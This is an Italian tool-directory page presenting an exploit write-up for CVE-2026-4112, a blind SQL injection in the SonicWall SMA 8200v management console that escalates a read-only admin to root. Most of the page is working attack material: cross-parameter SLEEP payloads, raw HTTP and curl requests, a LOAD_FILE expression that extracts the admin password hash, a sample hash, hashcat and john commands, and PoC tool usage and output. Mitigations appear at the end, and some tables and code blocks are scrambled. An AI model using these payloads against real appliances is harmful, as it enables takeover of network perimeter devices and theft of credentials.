Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-4112 — Neutralizzazione impropria di elementi speciali utilizzati in un comando SQL (“SQL Injection”) negli apparecchi della serie SonicWall SMA1000 consente a un attaccante remoto autenticato con privilegi di amministratore di sola lettura di aumentare i propri privilegi fino a diventare amministratore primario. | Kitploit
Strumenti/GitHubGitHub/hann1bl3l3ct3r/cve-2026-4112
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration Testing
GitHubhann1bl3l3ct3r/cve-2026-4112

CVE-2026-4112

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Informazioni

Neutralizzazione impropria di elementi speciali utilizzati in un comando SQL (“SQL Injection”) negli apparecchi della serie SonicWall SMA1000 consente a un attaccante remoto autenticato con privilegi di amministratore di sola lettura di aumentare i propri privilegi fino a diventare amministratore primario.

124 mesi faNon ancora revisionato
Condividi

SonicWall SMA 8200v: Escalation dei Privilegi tramite SQL Injection Blind Cross-Parameter

Firmware: 12.5.0-02283 (Hotfix di Piattaforma su Base 12.5.0-02002)

Avviso SonicWall


1. Riepilogo

Una vulnerabilità di SQL injection blind post-autenticazione nella console di gestione SonicWall SMA 8200v (porta 8443) consente a qualsiasi amministratore autenticato — inclusi account di sola lettura con privilegi ridotti — di estrarre l'hash SHA-512 della password dell'amministratore principale dal file di configurazione dell'appliance. Poiché SonicWall utilizza le stesse credenziali sia per l'admin della console di gestione sia per l'account root del sistema operativo, il cracking di questo hash consente l'accesso completo a livello root all'appliance.

Classificazione: Escalation dei Privilegi (da admin con privilegi ridotti a Root) CVSS 3.1: 7.2 (Alto) — AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H Complessità dell'Attacco: Bassa (il PoC automatizzato completa l'estrazione in ~60-90 minuti) Prerequisiti: Qualsiasi credenziale valida della console di gestione (inclusi account di sola lettura)


2. Componenti Interessati


3. Dettagli della Vulnerabilità

3.1 Causa Radice: Sanitizzazione Incompleta dell'Input in safeParam()

La console di gestione costruisce query SQL per la dashboard Utenti Attivi utilizzando un metodo helper safeParam() nella classe com.aventail.mgmt.sql.Sql. Questo metodo esegue l'escape degli apici singoli (') e degli apici doppi (") raddoppiandoli, ma non esegue l'escape dei caratteri backslash (\).

In MySQL/MariaDB, un backslash è il carattere di escape predefinito all'interno dei literal di stringa. La sequenza \' fa sì che il database interpreti l'apice singolo come carattere letterale anziché come terminatore di stringa. Ciò significa che un backslash alla fine di un valore di parametro eseguirà l'escape dell'apice di chiusura che l'applicazione aggiunge, facendo sì che il literal di stringa SQL si estenda nella sintassi adiacente.

Lacuna di sanitizzazione:``` Input: test
safeParam output: test\ (backslash NOT escaped) In SQL: ... rt.name='test') AND (ct.name='...' ^^ backslash escapes the closing quote

root@kitploit:~
Il carattere di chiusura `'` dopo `test\` viene consumato come carattere di virgoletta letterale all'interno della stringa, quindi il letterale di stringa SQL si estende attraverso il confine `) AND (ct.name='` e nel valore del parametro successivo, dove può essere iniettato SQL controllato dall'attaccante.

### 3.2 Meccanica dell'iniezione: Tecnica Cross-Parameter

L'endpoint `activeUsers.action` accetta più parametri di filtro che vengono interpolati in un'unica clausola SQL WHERE. I parametri rilevanti sono `realmFilter` e `communityFilter`, che compaiono in una query strutturata approssimativamente come:```sql
SELECT ... FROM ...
WHERE ...
  AND (rt.name='<realmFilter>')
  AND (ct.name='<communityFilter>')
  ...

Configurazione dei parametri di attacco:

ParametroValoreScopo
realmFiltertest\La barra rovesciata finale fa da escape alla virgoletta di chiusura, estendendo il literal stringa oltre il confine AND
communityFilter)) OR (SELECT IF(<condizione>,SLEEP(N),0))-- x

SQL risultante dopo l'interpolazione:```sql WHERE ... AND (rt.name='test') AND (ct.name=' )) OR (SELECT IF(,SLEEP(N),0))-- x')

root@kitploit:~
Scomponendo il tutto:

1. `rt.name='test\')` — il `\` fa da escape per il `'`, quindi la stringa non si chiude qui
2. `AND (ct.name='` — diventa parte del valore della stringa (testo letterale)
3. La stringa si chiude definitivamente al successivo `'` (quello iniziale di `communityFilter`)
4. `))` — chiude le due parentesi aperte dalla struttura della clausola WHERE
5. `OR (SELECT IF(...))` — inietta la condizione di blind SQLi
6. `-- x` — commenta il resto della query SQL (`')` e le altre clausole)

### 3.3 Estrazione Blind Basata sul Tempo

Poiché la gestione degli errori di Struts 2 dell'applicazione intercetta le eccezioni SQL in modo elegante (restituendo sempre HTTP 200 con lo stesso contenuto della pagina indipendentemente dal successo o dal fallimento della query), i metodi di estrazione basati sugli errori e basati su UNION non sono praticabili. L'iniezione viene sfruttata utilizzando la tecnica blind basata sul tempo:

- **Condizione TRUE:** `IF(<condizione>, SLEEP(N), 0)` — risposta ritardata dalla durata di SLEEP moltiplicata per il numero di righe del set di risultati
- **Condizione FALSE:** Nessun SLEEP — la risposta torna in ~200-500ms

La funzione SLEEP viene eseguita per ogni riga nella valutazione della clausola WHERE. Con una tipica tabella di monitoraggio contenente 30-300+ righe, anche un piccolo valore di SLEEP (es. 0,3s) produce un ritardo chiaramente distinguibile (10-100s per TRUE vs. <1s per FALSE).

Ogni carattere dei dati target viene estratto tramite ricerca binaria sull'intervallo ASCII:```sql
ORD(SUBSTRING((<extraction_expr>), <position>, 1)) > <midpoint>

Questo richiede un massimo di 7 richieste per carattere (log2(128) = 7), per un totale di ~686 richieste per un hash SHA-512 di 98 caratteri.


4. Catena di Sfruttamento

4.1 Panoramica```

root@kitploit:~
                     PRIVILEGE ESCALATION CHAIN

============================================================================

[1] Authenticate Low-privilege admin (e.g., "readonly") | authenticates to management console on port 8443 | using "Local Authentication" realm v [2] SQL Injection Cross-parameter blind SQLi via activeUsers.action | realmFilter backslash + communityFilter payload | Condition: IF(, SLEEP(N), 0) v [3] LOAD_FILE() MariaDB DbAdmin user has FILE privilege | secure_file_priv=NULL does NOT block reads | avconfig.xml is group-readable (mode 664) v [4] Locate Hash LOCATE('consoleMode', file) anchors to admin section | LOCATE('', file, anchor) finds hash element | SUBSTRING + SUBSTRING_INDEX extracts hash value v [5] Extract Hash Binary search extracts hash char-by-char | ~98 chars * ~7 requests = ~686 requests | Output: $6$$ (SHA-512 crypt) v [6] Crack Hash hashcat -m 1800 / john --format=sha512crypt | Admin password = Root SSH password (by design) v [7] Full Compromise SSH as root, management console as admin Complete appliance takeover

root@kitploit:~
### 4.2 Passaggio 1: Autenticazione

La console di gestione SMA supporta due realm di autenticazione:

| Realm ID | Nome visualizzato | Utenti |
|----------|-------------|-------|
| *(vuoto)* | Management Console | Solo account amministratore principale |
| `AMCAuthRealm` / `Local Authentication` | Autenticazione locale | Account amministratore secondari (readonly, custom) |

L'attacco richiede solo credenziali valide per **qualsiasi** account con accesso alla console di gestione. L'account "readonly" — progettato per accesso di sola monitoraggio senza capacità di modifica della configurazione — è sufficiente.

L'autenticazione viene eseguita tramite autenticazione basata su FORM J2EE:

1. `GET /console.action` — recupera la pagina di login, estrae il token CSRF dal campo nascosto del form
2. `POST /j_security_check` — invia `csrfToken`, `j_username`, `j_password` e `realmId`
3. Reindirizzamento HTTP 303 in caso di successo, cookie `JSESSIONID` stabilito

### 4.3 Passaggio 2: SQL Injection

Dopo l'autenticazione, l'attaccante invia una richiesta POST a `/activeUsers.action` con l'iniezione cross-parameter:```
POST /activeUsers.action HTTP/1.1
Host: <target>:8443
Cookie: JSESSIONID=<session>
Content-Type: application/x-www-form-urlencoded

realmFilter=test\&communityFilter=)) OR (SELECT IF(1=1,SLEEP(0.3),0))-- x&userNameFilter=&zoneFilter=&platformFilter=&agentFilter=&agentVersionFilter=&sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter

L'IF(1=1, SLEEP(0.3), 0) incondizionato verifica che l'iniezione sia funzionale osservando un ritardo misurabile nella risposta HTTP.

4.4 Passo 3: Lettura Arbitraria di File con LOAD_FILE()

Il database MariaDB viene eseguito sotto l'utente di sistema DbAdmin (uid=1001, gid=500 aventail). Questo utente del database detiene ALL PRIVILEGES ON *.* WITH GRANT OPTION, incluso il privilegio FILE richiesto per LOAD_FILE().

Un riscontro critico: nonostante l'impostazione di configurazione di MariaDB secure_file_priv = NULL (che blocca le operazioni di scrittura INTO OUTFILE e INTO DUMPFILE), la funzione LOAD_FILE() per la lettura dei file rimane pienamente operativa. Questo è un comportamento documentato ma poco compreso di MariaDB — secure_file_priv=NULL limita i percorsi di scrittura dei file ma non disabilita la lettura dei file quando l'utente dispone del privilegio FILE.

Il file di configurazione di destinazione /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml è di proprietà di mgmt-server:aventail con permessi 664 (rw-rw-r--). Poiché l'utente di sistema DbAdmin appartiene al gruppo aventail, LOAD_FILE() può leggere questo file.

Verifica tramite SQLi cieca:```sql -- Check file is readable (non-NULL) IF(LOAD_FILE(0x2f7573722f6c6f63616c2f...)...) IS NOT NULL, SLEEP(0.3), 0) -- TRUE: file is readable

root@kitploit:~
### 4.5 Passaggio 4: Individuazione dell'hash dell'amministratore in avconfig.xml

Il file `avconfig.xml` (~98KB) è il repository di configurazione principale dell'appliance. Contiene tutte le credenziali utente in formato crittografico SHA-512 all'interno di elementi XML `<password>`. L'hash primario dell'amministratore si trova in un blocco `<credentials_item>` vicino a un elemento `<consoleMode>` che è unico per la sezione dell'amministratore.

Invece di fare affidamento su offset di byte hardcoded (che si romperebbero se la configurazione sopra la sezione dell'amministratore cambiasse), l'estrazione utilizza funzioni stringa di MySQL per individuare dinamicamente l'hash:```sql
SUBSTRING_INDEX(
  SUBSTRING(
    LOAD_FILE(<path>),
    LOCATE('<password>', LOAD_FILE(<path>),
      LOCATE('consoleMode', LOAD_FILE(<path>))
    ) + 10,                    -- skip past '<password>' tag (10 chars)
    120                        -- max SHA-512 crypt length
  ),
  '<',                         -- trim at '</password>' closing tag
  1
)

Logica:

  1. LOCATE('consoleMode', file) — trova l'offset in byte della stringa consoleMode, ancorandosi alla sezione di configurazione admin
  2. LOCATE('<password>', file, anchor_offset) — trova il primo tag <password> dopo quell'ancora
  3. SUBSTRING(file, tag_offset + 10, 120) — estrae il valore dell'hash (saltando il tag <password> di 10 caratteri)
  4. SUBSTRING_INDEX(result, '<', 1) — tronca al tag di chiusura </password>

Questo approccio è indipendente dalla posizione e resiliente alle modifiche di configurazione altrove nel file. L'intera espressione è codificata usando letterali esadecimali MySQL (0x...) per evitare problemi di quoting nel contesto dell'iniezione.

4.6 Passaggio 5: Estrazione dell'Hash Carattere per Carattere

Ogni carattere dell'hash viene estratto tramite ricerca binaria:```sql -- Is character at position P greater than midpoint M? IF(ORD(SUBSTRING((<hash_expr>),

, 1)) > , SLEEP(0.3), 0)

root@kitploit:~
La ricerca binaria restringe l'intervallo ASCII [0, 127] della metà a ogni richiesta:

| Passo | Intervallo | Test | Risultato |
|------|-------|------|--------|
| 1 | [0, 127] | > 63? | VERO → [64, 127] |
| 2 | [64, 127] | > 95? | FALSO → [64, 95] |
| 3 | [64, 95] | > 79? | FALSO → [64, 79] |
| ... | ... | ... | ... |
| 7 | [n, n] | convergito | Carattere = chr(n) |

Per l'hash admin noto (`$6$WHTK8ybQ$MchVNW...`), l'estrazione di tutti i 98 caratteri richiede circa 686 richieste HTTP.

### 4.7 Passo 6: Cracking dell'Hash

L'hash estratto è in formato standard SHA-512 crypt:```
$6$WHTK8ybQ$MchVNWPdTpsP7oDyQSs1jW/.4ppR8/uzmvh06sbEPITNOO6JpeJdtEuD13yiHsF8ZvFdqaDkchMh.9O.e38Q/0
CampoValore
Algoritmo

Hashcat

hashcat -m 1800 -a 0 admin.hash /usr/share/wordlists/rockyou.txt -O

John the Ripper

john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt admin.hash

root@kitploit:~
### 4.8 Passaggio 7: Compromissione Totale

L'architettura SonicWall SMA utilizza la password dell'amministratore della console di gestione come password di root del sistema operativo. Questa è una scelta progettuale — quando la password dell'amministratore viene impostata o modificata tramite la console di gestione, viene applicata sia all'interfaccia web sia all'account root Linux sottostante. Pertanto, il cracking dell'hash dell'amministratore fornisce:

- **Console di gestione (porta 8443):** Accesso amministrativo completo a tutta la configurazione, alle policy, alla gestione degli utenti e al monitoraggio
- **SSH (porta 22):** Accesso alla shell di root del sistema operativo Debian Linux sottostante
- **Console seriale:** Accesso root per l'accesso fisico/out-of-band

---

## 5. Fattori Contribuenti

Molteplici decisioni architetturali si combinano per rendere sfruttabile questa vulnerabilità:

### 5.1 Sanitizzazione SQL Incompleta

Il metodo `safeParam()` in `com.aventail.mgmt.sql.Sql` esegue l'escape delle virgolette ma non delle barre rovesciate. Questa è una classe ben nota di SQL injection — il comportamento di escape della barra rovesciata di MySQL è stato documentato come una preoccupazione per la sicurezza sin dai primi anni 2000. La correzione è banale: o eseguire l'escape delle barre rovesciate (`\` → `\\`), oppure impostare la modalità SQL `NO_BACKSLASH_ESCAPES`, oppure utilizzare query parametrizzate.

### 5.2 Utente del Database con Privilegi Eccessivi

L'utente MariaDB `DbAdmin` opera con `ALL PRIVILEGES ON *.* WITH GRANT OPTION`. Questo concede capacità ben oltre quanto richiesto dall'applicazione, inclusi:

- Privilegio `FILE` (LOAD_FILE, INTO OUTFILE)
- Privilegio `SUPER`
- `GRANT OPTION` (può creare nuovi account superuser)

L'applicazione necessita solo di SELECT/INSERT/UPDATE/DELETE sui propri database. I privilegi eccessivi trasformano una SQL injection da estrazione di dati a lettura/scrittura arbitraria di file.

### 5.3 Configurazione Errata di secure_file_priv

Sebbene `secure_file_priv = NULL` blocchi le operazioni di **scrittura** di file (`INTO OUTFILE`, `INTO DUMPFILE`), non blocca le operazioni di **lettura** di file (`LOAD_FILE()`). Questo è un comportamento documentato di MariaDB che viene spesso frainteso. Amministratori e sviluppatori spesso presumono che `secure_file_priv = NULL` disabiliti tutto l'I/O sui file, ma in realtà limita solo il percorso di scrittura.

Per disabilitare completamente `LOAD_FILE()`, il privilegio `FILE` deve essere revocato all'utente del database:```sql
REVOKE FILE ON *.* FROM 'DbAdmin'@'localhost';

5.4 Permessi dei File di Configurazione Sensibili

Il file avconfig.xml contenente tutti gli hash delle password è di proprietà di mgmt-server:aventail con modalità 664. Il gruppo aventail include l'utente OS DbAdmin (sotto il quale viene eseguito MariaDB). Ciò significa che il processo del database può leggere il file di configurazione principale dell'appliance, inclusi tutti i dati di accesso memorizzati.

Un modello di permessi più restrittivo (ad esempio, modalità 600 di proprietà di mgmt-server:mgmt-server, oppure la memorizzazione degli hash in un file segreto dedicato leggibile solo dall'applicazione di gestione) impedirebbe a LOAD_FILE() di accedere agli hash anche con il privilegio FILE.

5.5 Credenziali Condivise Admin/Root

La scelta progettuale di utilizzare la stessa password per l'admin della console di gestione e per l'account root dell'OS significa che l'estrazione dell'hash dell'admin dal livello applicativo consente direttamente l'accesso root al sistema operativo. Questo elimina qualsiasi confine tra il livello dell'applicazione web e il sistema operativo sottostante.

5.6 L'Account di Sola Lettura Ha Accesso SQLi Completo

Il ruolo "readonly" della console di gestione è pensato per fornire accesso di sola monitoraggio senza la possibilità di modificare la configurazione. Tuttavia, l'endpoint activeUsers.action elabora i parametri di filtro in modo identico per tutti gli utenti autenticati, indipendentemente dal ruolo. L'account di sola lettura può eseguire la stessa SQL injection dell'admin principale, poiché la vulnerabilità si trova nel percorso di recupero dei dati (elencazione/filtro degli utenti attivi), non in un percorso di modifica della configurazione.


6. Proof of Concept

6.1 Strumento: sma_admin_hash_poc.py

È stato sviluppato uno strumento di sfruttamento completamente automatizzato e validato contro il target live.

Utilizzo (account di sola lettura — dimostrazione dell'escalation dei privilegi):```bash python3 sma_admin_hash_poc.py
-t 10.10.185.35
--user readonly
--password <readonly_password>
--realm "Local Authentication"
-o admin.hash
-v

root@kitploit:~
**Fasi di esecuzione:**

1. **Fase 1: Autenticazione** — Effettua il login con le credenziali e il realm specificati, ottiene JSESSIONID
2. **Fase 2: Verifica** — Conferma che SQLi sia funzionante (timing SLEEP), che LOAD_FILE possa leggere avconfig.xml e che l'ancora dell'hash admin sia presente
3. **Fase 3: Estrazione** — La ricerca binaria estrae l'intero hash SHA-512 carattere per carattere
4. **Fase 4: Output** — Scrive l'hash in formato compatibile con hashcat e stampa i comandi di cracking

**Output osservato:**```
[*] Target: 10.10.10.35:8443
[*] User:   readonly
[*] Realm:  Local Authentication

[*] Phase 1: Authenticating to admin console...
[+] Authentication successful

[*] Phase 2: Verifying attack prerequisites...
[+] SQLi CONFIRMED - IF(1=1,SLEEP) triggered (16.7s)
[+] LOAD_FILE(avconfig.xml) - readable
[+] consoleMode anchor found in avconfig.xml
[+] Admin SHA-512 hash located in avconfig.xml

[*] Phase 3: Extracting admin password hash...
    Extracting admin hash: $6$WHTK8ybQ$MchVNWPdTps...

6.2 Verifica manuale tramite curl

L'iniezione può essere verificata anche manualmente senza lo strumento PoC:```bash

Authenticate and obtain session cookie

curl -sk -c cookies.txt
"https://:8443/console.action" | grep csrfToken

curl -sk -b cookies.txt -c cookies.txt
-d "csrfToken=&j_username=readonly&j_password=&realmId=Local+Authentication"
"https://:8443/j_security_check"

Baseline request (no injection) — expect ~200ms

time curl -sk -b cookies.txt
-d "realmFilter=test&communityFilter=test&sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter"
"https://:8443/activeUsers.action" -o /dev/null -w "%{time_total}"

Injected request (SLEEP 5 via subquery) — expect 10+ seconds

time curl -sk -b cookies.txt
--data-urlencode "realmFilter=test\"
--data-urlencode "communityFilter=)) OR (SELECT 1 FROM (SELECT SLEEP(5)) AS t)-- x"
-d "sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter"
"https://:8443/activeUsers.action" -o /dev/null -w "%{time_total}"

root@kitploit:~
### 6.3 Verifica diretta SQL tramite MySQL CLI

Con accesso SSH di root, l'espressione di estrazione SQL può essere verificata direttamente:```sql
-- Verify LOAD_FILE reads the config (returns file size)
SELECT LENGTH(LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'));
-- Result: 98248

-- Extract admin hash directly
SELECT SUBSTRING_INDEX(
  SUBSTRING(
    LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'),
    LOCATE('<password>',
      LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'),
      LOCATE('consoleMode',
        LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml')
      )
    ) + 10,
    120
  ),
  '<',
  1
) AS admin_hash;

-- Result: $6$WHTK8ybQ$MchVNWPdTpsP7oDyQSs1jW/.4ppR8/uzmvh06sbEPITNOO6JpeJdtEuD13yiHsF8ZvFdqaDkchMh.9O.e38Q/0

7. Valutazione dell'Impatto

7.1 Impatto Diretto

ImpattoDescrizione
RiservatezzaAccesso completo in lettura a tutti i file leggibili dal gruppo aventail, inclusi file di configurazione, credenziali, certificati e chiavi

7.2 Scenari di Attacco

Scenario 1: Minaccia Interna / Violazione del Privilegio Minimo Un amministratore in sola lettura (analista SOC, revisore, ingegnere junior) con accesso di monitoraggio legittimo scala a pieno admin/root, aggirando tutti i controlli di accesso basati sui ruoli.

Scenario 2: Escalation da Compromissione delle Credenziali Un attaccante che ottiene qualsiasi credenziale della console di gestione (phishing, credential stuffing, password predefinite) può scalare a root indipendentemente dal livello di privilegio previsto per l'account compromesso.

Scenario 3: Pivot di Rete L'accesso root all'appliance SMA fornisce un punto d'appoggio persistente al perimetro di rete. L'attaccante può intercettare il traffico VPN, modificare il routing, accedere ai segmenti di rete interni ed estrarre tutte le credenziali degli utenti VPN dalla configurazione.


8. Raccomandazioni

8.1 Mitigazioni Immediate

  1. Query Parametrizzate: Sostituire l'interpolazione di stringhe in safeParam() con istruzioni preparate / query parametrizzate in tutto il livello SQL della console di gestione. Questo elimina l'iniezione indipendentemente dall'escape dei caratteri.

  2. Revocare il Privilegio FILE: Rimuovere il privilegio FILE dall'utente del database DbAdmin: ```sql REVOKE FILE ON . FROM 'DbAdmin'@'localhost'; FLUSH PRIVILEGES;

    root@kitploit:~
  3. Limitare i privilegi del database: Applicare il principio del minimo privilegio a DbAdmin — concedere solo SELECT, INSERT, UPDATE, DELETE sui database specifici richiesti dall'applicazione (monitoring, scheduler, troubleshooting).

  4. Limitare i permessi di avconfig.xml: Modificare proprietà e permessi del file per impedire all'utente del database di leggere la configurazione: ```bash chown mgmt-server:mgmt-server /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml chmod 600 /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml

    root@kitploit:~

8.2 Miglioramenti Architetturali

  1. Separare le Credenziali Admin e Root: Disaccoppiare la password admin della console di gestione dalla password root del sistema operativo. Utilizzare credenziali distinte con meccanismi indipendenti di modifica/rotazione.

  2. Accesso agli Endpoint Basato sui Ruoli: Limitare l'endpoint activeUsers.action (e tutti gli altri endpoint di interrogazione dati) in base al ruolo dell'utente a livello di applicazione, non solo a livello di interfaccia/menu.

  3. Rafforzamento della Modalità SQL: Impostare NO_BACKSLASH_ESCAPES nella configurazione di MariaDB per disabilitare globalmente l'interpretazione delle sequenze di escape con backslash: ```ini [mysqld] sql_mode = NO_BACKSLASH_ESCAPES,STRICT_TRANS_TABLES

    root@kitploit:~
  4. Separazione dell'archiviazione degli hash: Archiviare gli hash delle password in un file dedicato o in una tabella di database non accessibile all'utente generale del database dell'applicazione, piuttosto che nel file di configurazione XML principale.


9. Cronologia


10. Riferimenti

  • Documentazione MariaDB LOAD_FILE: LOAD_FILE() richiede il privilegio FILE; secure_file_priv limita SELECT ... INTO ma non LOAD_FILE()
  • Comportamento dell'escape con backslash in MySQL: quando NO_BACKSLASH_ESCAPES non è impostato, \ viene trattato come carattere di escape nei literal di stringa
  • Specifica SHA-512 crypt: prefisso $6$, round configurabili (default 5000), output hash Base64 di 86 caratteri
  • Modalità Hashcat 1800: sha512crypt ($6$)
  • OWASP SQL Injection Prevention Cheat Sheet: query parametrizzate come difesa primaria
Scarica lo strumento
ComponenteDettagli
PiattaformaSonicWall SMA 8200v (appliance virtuale)
Firmware12.5.0-02283 (confermato); probabilmente tutti i 12.x
ServizioConsole di Gestione — Jetty + Struts 2 (porta 8443)
EndpointPOST /activeUsers.action
Parametri VulnerabilirealmFilter, communityFilter (cross-parameter)
Classe della Causa Radicecom.aventail.mgmt.sql.Sql.safeParam()
DatabaseMariaDB 10.11.14, utente DbAdmin (TUTTI I PRIVILEGI + FILE)
File di Destinazione/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml
Chiude le parentesi aperte, inietta un SLEEP condizionale, commenta il resto
$6$ — SHA-512 crypt
SaltWHTK8ybQ
Round5000 (predefinito, non specificato)
Modalità Hashcat1800
Formato Johnsha512crypt
IntegritàDopo il cracking dell'hash: l'accesso completo alla console di amministrazione consente modifiche arbitrarie alla configurazione, modifiche alle policy e gestione degli utenti
DisponibilitàL'accesso root consente l'interruzione del servizio, la distruzione dei dati o il danneggiamento permanente del dispositivo
DataEvento
2026-02-24SQLi cross-parametro identificata tramite analisi statica di safeParam()
2026-02-24Blind SQLi confermata con sessione admin (timing SLEEP)
2026-02-25SQLi confermata con account di sola lettura (vettore di escalation dei privilegi)
2026-02-25LOAD_FILE() confermato operativo nonostante secure_file_priv=NULL
2026-02-25avconfig.xml identificato come archivio di credenziali con hash admin/root
2026-02-25Espressione di estrazione SQL validata tramite CLI MySQL
2026-02-25Estrazione automatica completa confermata con strumento PoC (sma_admin_hash_poc.py)
2026-02-25Catena di escalation dei privilegi validata: sola lettura -> hash admin/root